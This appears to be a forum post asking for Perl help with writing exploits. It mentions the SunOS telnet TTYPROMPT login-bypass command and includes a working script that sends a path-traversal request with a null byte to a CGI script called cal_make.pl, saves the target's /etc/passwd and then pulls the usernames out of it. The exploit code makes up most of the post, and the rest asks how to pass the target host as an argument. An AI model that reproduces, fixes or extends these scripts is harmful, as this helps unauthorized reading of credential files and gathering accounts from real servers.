about perl.for help,thanks.

question1:telnet> environ define TTYPROMPT abcdef

how can i do to run this commend use perl.

you see ,i want write a exploit in perl for test.it is use a sunos telnet bug.

but i don't know how to do that ,and i am use windows2000,my linux cannot

online.



question2:use strict;
use IO::Socket;
my $host=shift;

my $String="GET /this is cgi path/cal_make.pl?p0=../../../../../../../../../../../../etc/passwd%00 HTTP/1.0\n\n";
my $SOCKET=IO::Socket::INET->new(PeerAddr=>"$host",
PeerPort=>"80",
Proto=>"tcp") or die "cannot conncet:$!\n";
print "\n$String\n";
print $SOCKET "$String";

my @passwd=<$SOCKET>;

close ($SOCKET);

open(PASSWD,">10.txt");

foreach my $lin(@passwd)
{
print PASSWD "$lin";
}

close(PASSWD);
this program work well.but
my $String="GET /this is cgi path/cal_make.pl?p0=../../../../../../../../../../../../etc/passwd%00 HTTP/1.0\n\n";
my $SOCKET=IO::Socket::INET->new(PeerAddr=>"htis is host adress",
PeerPort=>"80",
Proto=>"tcp") or die "cannot conncet:$!\n";
print "\n$String\n";
print $SOCKET "$String";

my @passwd=<$SOCKET>;

close ($SOCKET);

open(PASSWD,">10.txt");

foreach my $lin(@passwd)
{
print PASSWD "$lin";
}

close(PASSWD);


it cannot get the argument.like that

use strict;

open(IN,"<1.txt") or die "cannot open:$!";
open(OUT,">>username.txt") or die "cannot open:$!";
while(<IN>){
$_=~m/(^\w+):.*/;
my $date=$1;
print OUT $date}
close(IN) or die "cannot close:$!\n";
close(OUT) or die "cannot close:$!\n"

it work well.but

use strict;

my $filename=shift;
open(IN,"<$filename") or die "cannot open:$!";
open(OUT,">>username.txt") or die "cannot open:$!";
while(<IN>){
$_=~m/(^\w+):.*/;
my $date=$1;
print OUT $date}
close(IN) or die "cannot close:$!\n";
close(OUT) or die "cannot close:$!\n"

calmake.pl 1.txt cannot work well,they are in same directory.i don't konw why.
if you have time ,please help me ,thank you.